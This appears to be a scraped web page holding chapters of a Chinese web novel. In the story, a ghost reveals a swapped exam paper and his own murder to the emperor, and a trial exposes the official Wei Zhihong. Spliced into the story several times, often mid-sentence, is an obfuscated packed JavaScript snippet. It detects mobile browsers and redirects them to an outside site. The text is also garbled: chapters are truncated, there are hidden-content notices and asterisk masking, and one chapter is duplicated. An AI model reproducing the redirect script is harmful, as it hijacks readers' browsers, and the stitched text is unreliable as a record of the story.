再次醒来时,便是方才侍卫们将他叫醒。不知怎么的,他竟从寝殿挪到了这里。此时想起,张德全还感觉一阵阵后怕。 几位侍卫听罢,亦不禁打了个寒颤。但他们毕竟是御前侍卫,就算害怕也不能显露出来。 “张公公您现下感觉如何?要不要送您去太医院让太医瞧瞧?”侍卫们问。 张德全轻拍胸口,感觉自己身上并无不适,遂暗暗呼出一口气,“不必了,咱家并无大碍。” 但下一刻,张德全突然“哎呦!”了一声,又将侍卫们吓了一跳。 “哎呦!皇上还在寝殿里呢!皇上如何了?” 为首的侍卫答道:“我等出来巡逻时,皇上还在寝殿里批阅奏折。这会儿不知如何了。” “快!快回去看看呐!” “是!”为首的侍卫吩咐两名侍卫陪着张德全走在后面,自己带着剩余的八人快步向寝殿奔去。 片刻后,几名侍卫便赶到了皇上的寝殿外,向门外看守的侍卫及太监问道:“皇上有没有出来?有没有唤人进去?” 看守的侍卫有些莫名其妙,“皇上并未出来,也未唤我等进去。” 正在几人说话间,张德全也跑了过来,“快…快敲门!看看皇上还在里面吗…”张德全一路小跑,跑得上气不接下气。 掌印太监发话,侍卫们不敢怠慢,忙转过身敲门,“陛下您在殿内吗?陛下!” 一连敲了几次,里面都未有回音。张德全也上前敲门大喊,但还是无任何反应。 张德全随即向侍卫们吩咐道:“皇上怕是有危险!把门撞开!” “是!”几名侍卫即刻开始撞门,却根本撞不开。 于是侍卫们又分头行动,去撞侧面的窗户,可无论他们如何锤打踢踹,甚至用刀砍剑劈,寝殿的门窗皆如钢筋般纹丝不动。 “这是怎么回事?皇上被刺客劫持了吗?”侍卫们又奔了回来,焦急道。 张德全直愣愣地盯着某处,“不是刺客…是鬼!” 听到“鬼”这个字,守在殿外的侍卫与太监们都慌了。 这时,侍卫长忽然想起了什么,“若真是鬼怪作祟,我们是否应赶紧去钦天监找值守的大人?” 经此人一提醒,张德全立马打起了精神,“对!钦天监的大人会道术,能对付那些妖魔鬼怪。快去钦天监找人过来!” “是!” 第283章 283.死者亲自叫冤 钦天监内,卫颐的徒弟夏紫正和几位钦天监官员在其中值守。 卫颐每日都会安排一位徒弟在钦天监值守,正是为了防止宫中出现怪力乱神之事,伤了皇上和太后。 几名侍卫一路飞奔至钦天监,推门而入找到夏紫,将皇帝寝殿闹鬼之事极快地讲给她。 夏紫明白此事的重要性,立即带上符纸与法器,与御前侍卫一同赶回寝殿。 “张公公!夏大人到了!” 张德全正在殿外急得来回踱步,忽而听闻夏紫到了,忙转身如见了救星般向她拜托道: “夏大人,皇上被鬼怪困在这寝殿中了!请夏大人尽快将皇上救出来啊!” 夏紫沉声道:“张公公莫急。这寝殿上设下的只是普通的鬼打墙,臣这就将其破解。” 说罢,夏紫便将一串以红绳和符纸编织的铃铛缠绕在双手间,而后两手结印,口中默念咒语,眼看着便要将鬼打墙破解。 而寝殿内的鬼魂汪焕清,将将讲述完自己十四年前被魏志鸿杀害的经过。 景逸听后震惊不已,一时间却又无法接受。 “你是说,魏志鸿根本不是当年探花,而是有人将你与他的试卷调包,才助他当上探花的?” “回皇上,正是!而那个助他调包试卷之人,极有可能便是他的老丈人娄贲!” 景逸暗暗心惊。 十四年前还是他的父皇在位之时,景逸作为太子,对那些事一概不知。 如今,这位当年枉死的进士,竟要来翻案... “你有何证据能证明魏志鸿的试卷是被调了包?” “回皇上,魏志鸿在入京之前,在嘉礼县还有妻儿。若是大理寺的大人们能找到他的妻儿,或许他们手中有实质的证据。 还有,魏庆坤案发后不久,周祎仁大人请了慕夫人前来收服我。我也将自己的冤情陈给了周大人。 或许刑部已找到了我的尸骨,可从我的尸骨上找出当年杀害我的杀手。” 汪焕清明白自己不应将慕侯爷与夫人收留他的事供出去。于是便挑些案件卷宗中的事实来说,才不会让这位多疑的皇帝起疑。 果真,他的考虑是对的。 景逸听他说的与案件卷宗一致,且也是请慕夫人前来收服他,便未再多问,而是又怀疑起了魏志鸿其人。 若是真如汪进士所说,那魏志鸿实乃阴狠毒辣之人,杀人枉法、抛妻弃子,无恶不作。 大长公主说的不错,景逸因从小到大都在太后的掌控之中,自己无任何主见,别人对他说什么他便信什么。 起初,周家与刑部说是魏志鸿买卖试题,景逸便要定他的罪。 魏志鸿空口叫屈翻案后,景逸又信了魏志鸿的话,将周家等人送进大理寺大牢。 如今,汪焕清来向他如此一番陈词,景逸又觉得他说的亦有道理。 于是,他决定让大理寺就按着汪焕清所说的线索查下去,一定要拔出魏志鸿这颗毒瘤。 “好,你说的朕都清楚了。朕会命大理寺官员彻查十四年前殿试之事,和你被杀一案。若是证据确凿,定不会放过魏志鸿及在背后助他之人!” “多谢皇上!皇上圣明!”汪焕清再次向他叩头一拜,“今夜草民多有打扰,还望皇上恕罪。草民这就...” 汪焕清的话还未说完,陡然间,整座寝殿仿似地震般摇晃了几下。 景逸吓得忙扶住身后的门框,汪焕清则眉头一紧。 遭了!他设下的鬼打墙阵被破了,有高人要闯进来了! 还不待他细想,寝殿大门便轰的一声巨响被破开。 汪焕清玄即化为一缕灰烟,妄图从窗户飞出去。 可就在他将将接触到窗户时,竟被一股无形的力量弹了回去。 只见一张金色大网,隐隐在寝殿外侧浮现,竟是将整座寝殿都网在了其中,令其内的鬼怪无处可逃。 “大胆孽障!竟敢擅闯皇宫内院,妄图伤害天子!看我今日不打得你魂飞魄散!” 夏紫自寝殿大门冲了进来,对被困在殿中的汪焕清厉声喊道。 汪焕清一面在寝殿中不断逃窜,一面辩解道:“我没有伤害皇上!我只是来申冤的,望大师手下留情!” 可夏紫并不给他辩驳的机会,而是再次甩出几道符纸,向汪焕清的方向而去。 汪焕清只是一普通游魂,哪有能力与夏紫抗衡。几道符纸一出,便将汪焕清压在了地上。 夏紫一伸手,那符纸带着汪焕清的魂魄便被收到了她的手中。 就在夏紫准备将其魂魄打散时,景逸突然出声制止,“慢着!夏爱卿,这只鬼魂对朕并无恶意,就饶他一命吧。” 夏紫正要落下的咒法顿了顿,稍后便停下了动作,向景逸道:“是,皇上。那臣先将其收服,交给卫监证再行审问。” 景逸点头默许后,夏紫便施法将汪焕清的魂魄收进一道符纸中,再揣进袖里。 做完这一切后,张德全与夏紫赶到景逸身边关切道:“皇上,您龙体可无恙?” “无碍。方才那鬼魂只是来向朕陈词的,并未伤朕。” 张德全长舒一口气,说起吉祥话,“呼...皇上乃真龙天子,吉人自有天相。” 随后在场所有太监与御前侍卫,皆跪伏在地高呼,“皇上万岁万岁万万岁!” 景逸的心思却不在此处,而是向张德全吩咐道:“张德全取纸笔来。朕要写一道密旨,需你亲自交给大理寺卿,莫要让任何人看到其中内容。” “是,皇上。” 翌日,夏紫回到卫府,将昨晚皇上寝殿发生之事讲与卫颐,同时将收着汪焕清魂魄的符纸也交给了他。 听到那魂魄并未伤到皇上,卫颐松了一口气,随后便将汪焕清的魂魄放了出来。 卫颐表面看上去人畜无害,向汪焕清询问时态度温和。 汪焕清也是个心思单纯之人,便将昨晚向皇上说的真相,又向卫颐讲述一遍。 好在卫颐与太后站在同一阵线,明白汪焕清的证词对扳倒魏志鸿与何钦有利,便没有为难汪焕清。 但卫颐还十分敏锐地发现了一点。 “汪进士,你是从永嘉侯府出来的吗?” 第284章 284.刘云蕊迷上卫颐 “汪进士,你是从永嘉侯府出来的吗?” 问及此,汪焕清心中即刻一凛,“卫大人怎会知晓。” “我能察觉到你身上有永嘉侯府的气息。” 当初卫颐将刘云蕊带回府中时,刘云蕊的身上也有这种气息。 汪焕清一听不由得慌了,怕自己会连累到永嘉侯府,于是找补着解释道:“当初我被慕夫人收服,就被她一直囚禁在小瓷瓶中。 后来我寻了个机会逃了出来,才得以入宫向皇上伸冤。因而永嘉侯与夫人并不知晓我逃了出来,还进了宫。” “原来如此。”卫颐道:“我只是顺口一说,你不必紧张。你可否愿意暂且留在我卫府中。若魏志鸿一案还需线索,在下可随时向你询问。” “这...” 汪焕清其实是想回永嘉侯府的,但若说出口,难免会让卫颐觉得他与永嘉侯府交往过密。 卫颐见他犹豫,接口道:“你放心,待此案结案后,我会送你转世投胎。” 卫颐如此说,汪焕清哪还有拒绝的道理,随即答应下来。卫颐便再次将他收进符纸中。 就在汪焕清的魂魄将将化为灰烟飞进符纸中时,一道杏色的身影迈着轻巧的步伐,跨过前厅的门槛走了进来。 “师父,方才是一抹魂魄吗?又是您收集来让我练手的?” 此女子手中提着一食盒,兴致高昂地来到卫颐面前,正是三个月前拜卫颐为师的刘云蕊! 此时的刘云蕊气色红润,面容俏丽,眉宇间神采奕奕。与三个月前被爱人欺骗背叛,又经历流产之痛时的她,判若两人。 看来这三个月,刘云蕊在卫府上休养得很不错。 那是自然。 日日都能见到卫颐这般的顶级美男子,单单是看着就赏心悦目。 更别说卫颐对刘云蕊关怀备至,每日亲自教授她道术,陪她练习。 让刘云蕊彻底将慕煜衡那个渣男抛之脑后,全心全意跟在卫颐身边,做他的小迷妹。 这三个月,刘云蕊的道术亦突飞猛进。 从一个见到鬼就被吓晕的小白,成长为如今可面不改色地对着鬼魂施法的道门弟子。 方才她看到那化为灰烟的鬼魂,都能神色如常地与卫颐打趣。 看来卫颐说的没错,刘云蕊真有些道门天赋。 卫颐见她进来,嘴角立时牵起一抹淡然清澈的笑,但看在刘云蕊眼中,却是魅惑无比。 “云蕊怎么来了?”卫颐的目光落在她手中提着的食盒上,“难道是又研制出了什么新菜色?” 刘云蕊嘻嘻笑道:“师父真聪明!又猜对了!” 刘云蕊大大咧咧地在卫颐另一侧的椅子上坐下,将食盒放在二人中间的茶几上,之后打开食盒盖。 呈现在卫颐眼前的,竟是一盘裹着芡汁,色泽油亮的鸡翅。一股香甜的味道瞬时飘入鼻端。 “这是红烧鸡翅?”卫颐抬眼问。 刘云蕊摇摇头,故作高深道:“此道菜名曰‘可乐鸡翅’。是将鸡肉先腌制,之后再用冰糖、料酒、酱油等香料共同熬制而成。 比普通的红烧鸡翅多了一丝鲜甜,并且芡汁挂的也比红烧鸡翅厚,尝来香甜可口,令人身心愉悦,因而我为它起名‘可乐鸡翅’。” 可乐鸡翅是刘云蕊在现代最喜欢的菜之一。但这个世界没有可乐,她只能用冰糖试试了。 好在做出来的成品与她在现代吃的可乐鸡翅大差不差。 刘云蕊不禁自恋地想,若是自己当初不开超市,不做生意,只是开一家菜馆,估计食客都会络绎不绝吧。 “原来这‘可乐’是如此来的。”卫颐恍然大悟。 “师父你快尝尝味道如何。” 刘云蕊兴致勃勃地拿起筷子,夹了一块鸡翅,用另一只手接着递到卫颐面前。 卫颐略略尴尬地笑了笑,自己动手拿过鸡翅咬了一口。 嗯…这回起码烧熟了。 只是…火候有些大,将冰糖烧出了苦味。 但卫颐并未明说,而是勉强挤出一丝笑容,点头道:“味道不错,有进步。” “真的吗?”刘云蕊双眸亮起,“那师父再吃一块!”说着,她又夹起一块为卫颐递去。 两人一同坐在卫颐院落前厅的首座当中,刘云蕊一个劲儿伸手过去喂,就差站在卫颐身边给他喂到嘴里。 卫颐也没有拒绝,十分配合地吃下一块又一块鸡翅,还不时送上夸奖。二人互动间显得十分亲密。 而这一幕落在卫颐的另一位徒弟殷红眼中,却是格外刺眼可恨。 “哼!她竟然敢与师父一同坐在首座上,还如此亲密地给师父喂食,简直尊卑不分,大逆不道!” 殷红来到卫颐院落本想向他汇报事情,但行至前厅外时,却看到那样一幕。 她忍不住想冲进去打断,却被守在外面的夏紫拦住,“你要做什么?别冲动!” “我要进去将那小贱人拉出来,她怎配坐在师父身边?你别拦着我!” 殷红说着推开夏紫的手便要往里冲,夏紫却再一次擒住她的手,将她拉到旁侧,压低声音警告道:“殷红,你能不能别这么任性!” “我任性?”殷红恼怒反问,“那个小贱人都快将自己当作师母了,任性的难道不是她? 从前勾引永嘉侯世子让自己未婚先孕,还不要脸地在世子大婚时去侯府闹,闹得永嘉侯府不得安宁,最后害得世子为她落发出家。她以为别人不知道? 如今又不知用了什么狐媚之术,让师父破例收她为徒,恬不知耻地整日扒着师父不放。她到底有没有脸皮,不知道自己做的事有多不检点吗!” 夏紫将手指放在唇上嘘了一声,向她摇摇头,劝说道:“我明白。但她如今在师父跟前正得宠,我们千万不能当面怼她,否则便是了伤师父的面子。” “那怎么办!难道要让我眼睁睁看着那个愚蠢至极的小贱人骑在我们头上吗?” 夏紫眸子转了转,道:“我觉得师父并不是真的宠她,而是在演戏。” “演戏?”殷红蓦地一怔。 第286章 286.皇上亲自审案 管事太监走后,娄婧又兴致勃勃向魏志鸿凑了过去,“志鸿,你说皇上是不是已查明,周家慕家那两个小子杀害我们庆坤的案子了?让我们去大理寺,就是想让我们亲眼看着宣判?” 魏志鸿捋捋胡须,一副傲然自若之态,“定是如此。那日我将刑部的案件卷宗交给了皇上。 皇上看过后极其气愤,定会命大理寺重新调查该案件。大理寺的人也不是个傻的,定会全力找出周家和慕家**的证据。 如今已过五日,想必定是将证据搜集齐全了,让我们亲自去鉴证呢。” “太好了!”娄婧兴高采烈,“我就知道求了何大人后咱们能赢。今日我定要亲眼看着那两个小杂种,和周家慕家心碎求死的模样!” “还不止如此。”魏志鸿得意洋洋,“周家的老子和小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大理寺卿谭瑯立即上前拱手回道:“回皇上,大理寺上下自接手此案起,便全员出动,根据已有线索抽丝剥茧,又挖出了许多惊世骇俗的真相。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253529|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今人证物 ******后面还有1835个字内容被隐藏了****** ******后面还有1835个字内容被隐藏了****** loadBookInfo(34, 13166465, 287,''回京后,渣男和外室给我下跪敬茶''); 第288章 288.**出面指证 “不…臣不敢…”魏志鸿忙颔首请罪,但却心乱如麻。 一旁的娄婧亦开始慌了,皇上竟开口帮周家慕家说话。那这案子还有回旋的余地吗? 坐在他们对面的慕徐二人,则暗暗相视一眼,眼中皆流露出淡淡的欣喜与振奋。 看来汪进士确实入宫向皇上说明了一切。那么今日审判的对象,十有**便是魏志鸿了。 慕怀清夫妇与周祎仁秦韶华,亦是一副意料之外的惊喜表情,看来皇上已默认了他们的儿子不是**凶手。 就在魏志鸿娄婧还未回过神来时,高台上的景逸又道:“说来也巧,那只鬼恰好魏爱卿也认识。” 魏志鸿猛然抬眼望去,但见景逸嘴角勾起一抹渗人的笑,“你的同乡汪焕清,还记得吗?” 什么! 在听到那个名字时,魏志鸿瞳孔猛地一缩。 汪焕清…汪焕清不是早就**吗?为何会…会…… 他的心脏砰砰砰跳得极快,额角渗出细密的汗珠,背脊上的冷汗瞬间将他衣衫浸湿。 一时间脑中无数个可能闪过,但他一个都不敢细想。 一旁的娄婧见他突然脸色煞白,浑身微颤,眼神也变得惊恐惶然,不禁侧过身去想问问他的情况。 没成想,她的手方一碰到魏志鸿的手臂,他竟猛地一抖躲开了,惊惶失措地回过神看了娄婧一眼。 随后向皇上道:“回皇上,微臣离乡已久,不记得什么汪焕清了。” “不记得了?”景逸反问道:“那朕便将他请上来,让你回忆回忆。” 魏志鸿:“!!!” 将他请...请上来是什么意思! 景逸话毕,便向着堂外高声吩咐,“来人!将汪焕清的尸骨抬进来!” 随即,几名捕役将魏庆坤的尸首抬走,又两名捕役,将一用黑布包住的东西抬了进来。 二人将黑布掀开,其中正包裹着一副苍苍白骨。 景逸向谭瑯与蔺祥羽使了个眼色,“请谭大人和蔺大人向各位陈辞案情。” “是。”蔺祥羽听命,而后转身向堂内众人道:“根据刑部姜灿大人给出的线索,我等寻到了这副尸骨。 又经过与当年汪焕清此人的身高身形,长相及所患疾病对其骨骼的影响,确认这副尸骨正是十四年前汪进士的尸骨。 再从这尸骨上留下的伤痕推断,大理寺终于找到了当年杀害汪进士的真凶。” 周祎仁与慕怀瑾等人听后眼眸一亮,姜灿与蔺翔宇果然不负他们所望,循着线索终于找到了那名**。 若是那名**愿意出面亲自指认魏志鸿的话,那便再好不过了。 思及此,大理寺卿谭瑯便好似听到他们的心声一般,配合地向堂外宣道:“带嫌犯入堂!” 话音落下,两名捕役押着一名身形佝偻,且瘸了一条腿的中年男子走进了大堂。 此男子一头灰白长发自面庞两侧垂下,令人看不清他的面容,但发丝间的一双眼睛却犀利如鹰,浑身散发出生人勿近之气。 此男子一进入大堂,魏志鸿的右手便蓦地握紧了椅子把手,直到指节泛白,指甲抠进木头里,都未能察觉。 但见那男子向魏志鸿侧过脸,遮在他脸旁的花白长发略略移开,露出半张面容扭曲的脸。 “魏大官人,好久不见。可还记得在下?” 魏志鸿死死瞪着他,整个人都绷紧得如一张弓一般。 “你...你是何人!我怎会认得你!” 真是见了鬼了!自己当年明明亲眼看着他从数百米的山崖坠下,他竟没有死?! 那名男子发出一声嘶哑的笑,“呵呵,当了大官之后确实贵人多忘事啊。我这样的无名小卒,魏大人不记得,也实属正常。” 谭瑯肃声道:“吴焱,今日圣上在此,将你与魏志鸿的恩怨尽数讲来。” 吴焱咧嘴一笑,“大人您这话就不对了。我与魏志鸿之间只有冤,没有恩呐。 十四年前,当时还是探花的魏志鸿找到我,答应给我五百两让我去杀一个人。 当年我就是干这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271858|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行的,拿了二百两定金后便接下了。但做我们这一行的,总会了解一下雇主及**对象的关系。 我便了解到,魏志鸿让我杀的人,是一位名叫汪焕清的进士,还是他的同乡。至于为何要杀那人,我就不得而知了。 干完那一票后没几日,魏志鸿便向我传信,约我去山上取剩下的三百两。 那时我疏于防备,只身一人便去赴约。魏志鸿却带了十名高手**我,将我逼到一处山崖边时,又向我撒出一种毒粉,让我瞬间丧失了战斗力。 我索性自行跳下山崖才躲过魏志鸿的追杀。怎奈老天有眼留了我一条命,但断了一条腿,一身的武艺也被那种毒粉废去。 此后的十几年,我只能隐姓埋名度日,谨防被仇家找到要了我的命。每次从仇家手中逃脱时,我都会想着,有朝一日定要将那个姓魏的也拉下来。 好在终于让我等到了今日这个机会哈哈哈...” **的一番话说完,魏志鸿与娄婧皆怔愣在原处。 娄婧从不曾想到,这个在自己与爹娘面前从来都是谨小慎微,极具讨好的男人,背地里居然杀过人,还不止一个! 自己与魏志鸿虽做了十几年夫妻,如今却有种从来未真正认识过他的感觉。 身边的这个男人,到底还有多少瞒着她的秘密? 而魏志鸿则彻底钉在了椅子上,浑身僵硬,完全不知此时该如何应对,只得一口咬死不认,“大胆刁民!休要在此胡言乱语,祸乱君心!” 而后魏志鸿又立刻转向皇上,跪下身求道:“陛下,微臣根本不认识此人,更未做过他说的那些事。求陛下莫要听信此人之言。臣冤枉啊!” “冤枉?”吴焱干笑两声,“呵呵,那这样东西你如何解释?” 吴焱摊开手掌,手掌中正躺着一枚印章。因年代久远,其上的字已多有磨损,但还能依稀辨认出刻的是“魏卢修”,正是魏志鸿的表字! 看到这枚印章,魏志鸿猝然瞳孔大睁。原来那枚丢失的印章,竟在这名**手中! 第289章 289.证人与证据轮番轰炸 原来那枚丢失的印章,竟在这名**手中! “怎么样魏大人,还记得这枚印章吗?”吴焱望着魏志鸿那突然间煞白的脸色,心中一阵暗爽。 这时,在一旁看得起劲儿的周祎仁补充道:“这印章一看就很有年头,并且上面刻的是魏卢修。这应该是魏志鸿的表字吧?” 慕怀瑾接口道:“众所周知,关系亲近的家人及密友才能够用表字称呼。 魏大人既说自己不认识此人,此人手里又怎会有刻着你表字的印章?” 魏志鸿一时间脑中一片空白,哑口无言。 吴焱趁机解释道:“做我们这行的,总要给自己留个后手。 因此在他对我赶尽杀绝时,我趁其不备从他腰间将这印章拽了下来,之后转身跳崖。魏志鸿你没想到吧?你也有百密一疏的时候。” 魏志鸿的脸色愈加难看,已从方才的煞白,渐渐便得铁青,却还依然嘴硬。 “我不知你在说什么…这印章是刑部或大理寺做好了给你的吧!就是为了栽赃陷害我!” 谭瑯对魏志鸿很是无语,“我大理寺查案,全程有皇上派下的御史监督。难道你认为御史大人也会被收买,就为了陷害你?” 魏志鸿彻底被怼得说不出话来,只得一遍又一遍向景逸磕头申冤,“皇上请相信微臣!微臣绝未做过那人所说之事……” 景逸不耐烦地打断他,“行了!谭大人继续说案。” 谭瑯领命后,转过身向吴焱道:“吴焱,你可知他当年为何要请你杀那汪姓进士?” 吴焱摇摇头,向高台上的景逸及两位大人道:“这我不知道。在下心知自己年轻时夺了多条人命,罪孽深重。 今日出面指证魏志鸿,不指望将功赎罪,唯愿皇上与各位大人千万别放过魏志鸿。” 景逸点头道:“你放心。念在你积极配合大理寺调查的份上,朕会酌情考虑定你的罪。来人,先将吴焱带下去。待审判完魏志鸿后,再行定罪。” 吴焱伏地一拜,“谢皇上!谢各位大人!” 吴焱被带下去后,大堂内顷刻间静了下来。 这时,景逸又望向谭瑯道,“谭大人继续你方才的问题。魏志鸿当年为何要杀汪进士,大理寺可查出缘由?” 谭瑯恭敬回应道:“回皇上,因为那年的探花根本就不是魏志鸿,而是汪焕清! 是有人帮魏志鸿调换了他和汪焕清的试卷,从而顶替了汪焕清的成绩,成了那一年的探花。 而且国子监祭酒孙大人已经招了。今年会试试题泄露一案,正是魏志鸿的岳父娄贲,让他将试题送去书院阁的!” 此话一出,堂内所有人的目光瞬间聚焦在魏志鸿与娄婧身上,生怕错过他们的每一个表情。 魏志鸿与娄婧猛然抬起头,仿若被惊雷劈在头顶,目眦欲裂瞪向谭瑯。 “你...你胡说!”此次率先发声的居然是娄婧,“我夫君可是皇榜提名的探花,怎可被你一句话便扣上调包试卷的帽子?你有证据吗?” 娄婧当年就看不上魏志鸿,若不是她爹娘极力劝说,再加上何钦大人亲自做媒,说魏志鸿这新科探花将来必成大器,她才不会嫁给他。 而今若要对她说,就连魏志鸿这探花之位都是假的,让娄婧如何能接受? 面对娄婧的无礼,谭瑯依旧沉着应答:“证据与证人皆在。来人!将孙仲明与证据都带进来!” 谭瑯的话音刚落,便有狱卒押着孙仲明走进了大堂。 孙仲明是娄贲的学生之一,年岁还不到四十。 许是在牢里待的时日已久,又不知经受了何等拷问,脊背佝偻,步履蹒跚,鬓边都出了白发,早已没了国子监祭酒的儒雅清高。 望见皇上坐于高台之上,孙仲明立时吓得腿脚一软,扑通一声跪了下去,向着皇上瑟瑟求饶。 “陛...陛下,臣全招了啊!是娄贲大人命我将试题送去书院阁的。臣知罪!求陛下饶命,饶过臣和家人!” 孙仲明 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可他们还是低估了魏志鸿脸皮的厚度,纵有铁证当前,魏志鸿还想撒谎抵赖。 “皇上,臣根本不知那些书信为何物。那都是大理寺和刑部编造出的证据想陷害臣啊!请相信微臣啊皇上! 还有...孙大人只说是娄大人让他将试题交给书院阁里的人。但并不一定是给我儿子的啊!请皇上明察!” 周祎仁着实对魏志鸿忍无可忍,发狠骂道:“将试题送进书院阁,难道不是交给了书院阁管事崔巍? 这一点早在之前刑部就已给出确凿证据。崔巍的那封陈辞信和魏志鸿的五百两银票,便是最好的证明。” 可还不待魏志鸿反驳,他身旁的娄婧突然向他发难,“等等,方才谭大人说,你在未中探花之前,写给家中妻儿的书信? 你之前有过妻儿?我怎么不知道!魏志鸿,你从头至尾都在骗我吗!” 第291章 291.冤屈终得洗清 景逸冷哼一声,“那十四年前你爹帮魏志鸿调包试卷又怎么说?那可是科举舞弊的大罪。” 娄婧不知该如何回答,头脑一热便随口编道:“那是...那是有人让我爹那么做的! 我爹本来也不想的。若不是有人让我爹那么做,我爹怎会冒如此大的险去帮一个穷书生调包试卷?” 此话一出,景逸及堂内所有人,顷刻间齐齐将目光聚焦在了娄婧身上。 依娄婧所言,难道当年魏志鸿科举舞弊一案,背后还有更大的势力在操控? 再看她身旁的魏志鸿,竟也猛然转过脸去看她,落在娄婧面上的目光分明写着:她怎么会知道! 景逸蓦地从高椅上坐直,前倾着身子目光紧盯娄婧,“是何人让娄贲那么做的?” 娄婧一时间懵了,“这...这我也不知道...” 一旁的魏志鸿拳头死死捏住,额角的青筋突起,额上渗出一片薄薄的汗珠。 听到她说不知道,紧握的拳头才略有放松,绷紧的神经也缓缓放松下来,暗暗吐出一口气。 好在他这一系列动作极其隐秘,相隔较远的话根本察觉不到。 景逸听后十分恼怒,“你不知道?你不知道便空口说背后有人指使?” 而后,景逸又将目光转向魏志鸿,“你呢?若是老实交代还有谁在幕后助推了此事,朕可免你死罪。” 魏志鸿依然死鸭子嘴硬,“臣不知她在说什么。根本没有什么幕后助推之人。臣就是当年如假包换的探花。” 娄婧这才意识到自己方才的谎扯大了,但又不能在皇上面前当场改口,否则不是欺君是什么? 夫君和爹爹已半条身子进了大牢,她不能再把自己搭进去。家中的庆辉还小,不能没有娘。 遂,娄婧赶紧闭嘴跪伏在地,再也不敢多说一个字。 景逸望着两人的模样,气不打一处来,大手一挥命令道: “来人!将罪人魏志鸿押入大牢,待定罪后处刑。其妻娄婧软禁在魏府,在调查清科举舞弊一案前,不得随意出府。” “是,皇上!” 在魏志鸿被捕役带走之时,他还在不停喊冤。随后,娄婧亦被两名捕役看管着送回魏府。 二人离开后,审判堂中便仅剩下了皇上、大理寺官员及慕周两家人。 景逸首先道:“来人,为两位周大人和二位公子解开镣铐。” 听闻此言,周慕两家人皆一阵激动。两名捕役上前为他们四人一一解开镣铐。 随后景逸又道:“二位爱卿,既然此案已查清,二位爱卿和你们的公子,也可回府去了。” 周慕两家人忙齐齐下跪,向景逸磕头拜谢,“臣多谢皇上!皇上圣明!” “平身!” 众人起身后,景逸望着周祎仁与周正忠道:“二位爱卿,委屈你们了。好在你们提供的线索都能找到证据。” 周正忠俯首道:“皆因圣上英明,慧眼善辩忠奸。还要多谢大理寺的各位同僚刚正不阿,秉公查案,助我等洗清冤屈。 周某在此代我全家,向谭大人蔺大人一拜!” “不敢不敢,周大人快请起!”谭瑯与蔺翔宇分别扶起他们。 众人又是一顿相互感谢,才抒发完胸中的感激激动之情。 这个结果,包括景逸在内,大家都十分满意。 “好了。周大人与永嘉侯你们快回府与家人团聚吧,莫要让家人担忧。朕也该回宫了。” 景逸话毕,站起身走下高台。众人再次下跪恭送皇上起驾。 而就在景逸行至慕怀瑾与徐莞身边时,忽然停下脚步,低声说了句: “慕夫人今后可要看管好收服来的游魂,莫要再让那些游魂偷潜出去吓人了。” 慕徐二人心思一动,难道皇上知晓汪焕清的鬼魂是从永嘉侯府跑出去的? 不过看皇上的语气和神色,并无怪罪之意,二人便也放下心来。 “是,皇上。妾身今后定当愈加谨慎,不负圣上之恩。”徐莞嗓音清和地答道。 景逸微微点头,再无停留便走了出去,在内官与侍卫们的护送下,向皇宫而去。 留下的周家慕家众人终于能够相拥在一起,一解担忧之苦。 “平章!祎仁!” “老头子哎… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“煜峥…你终于可以回府了…终于不会再因此事提心吊胆了。”薛敏芝哭着道。 慕煜峥这段时日果真成熟了很多,反过来安慰道:“娘别担心了。孩儿早说过,我相信刑部和大理寺的大人们一定能查出真相,还我公道。” 就在这时,周祎仁兴致勃勃提议道:“我提议!咱们两家找个日子,一同庆祝一下洗清冤屈、平安回府吧!” “好!同意!” “没问题,到时我们俩不醉不归!” 第291章 291.冤屈终得洗清 景逸冷哼一声,“那十四年前你爹帮魏志鸿调包试卷又怎么说?那可是科举舞弊的大罪。” 娄婧不知该如何回答,头脑一热便随口编道:“那是...那是有人让我爹那么做的! 我爹本来也不想的。若不是有人让我爹那么做,我爹怎会冒如此大的险去帮一个穷书生调包试卷?” 此话一出,景逸及堂内所有人,顷刻间齐齐将目光聚焦在了娄婧身上。 依娄婧所言,难道当年魏志鸿科举舞弊一案,背后还有更大的势力在操控? 再看她身旁的魏志鸿,竟也猛然转过脸去看她,落在娄婧面上的目光分明写着:她怎么会知道! 景逸蓦地从高椅上坐直,前倾着身子目光紧盯娄婧,“是何人让娄贲那么做的?” 娄婧一时间懵了,“这...这我也不知道...” 一旁的魏志鸿拳头死死捏住,额角的青筋突起,额上渗出一片薄薄的汗珠。 听到她说不知道,紧握的拳头才略有放松,绷紧的神经也缓缓放松下来,暗暗吐出一口气。 好在他这一系列动作极其隐秘,相隔较远的话根本察觉不到。 景逸听后十分恼怒,“你不知道?你不知道便空口说背后有人指使?” 而后,景逸又将目光转向魏志鸿,“你呢?若是老实交代还有谁在幕后助推了此事,朕可免你死罪。” 魏志鸿依然死鸭子嘴硬,“臣不知她在说什么。根本没有什么幕后助推之人。臣就是当年如假包换的探花。” 娄婧这才意识到自己方才的谎扯大了,但又不能在皇上面前当场改口,否则不是欺君是什么? 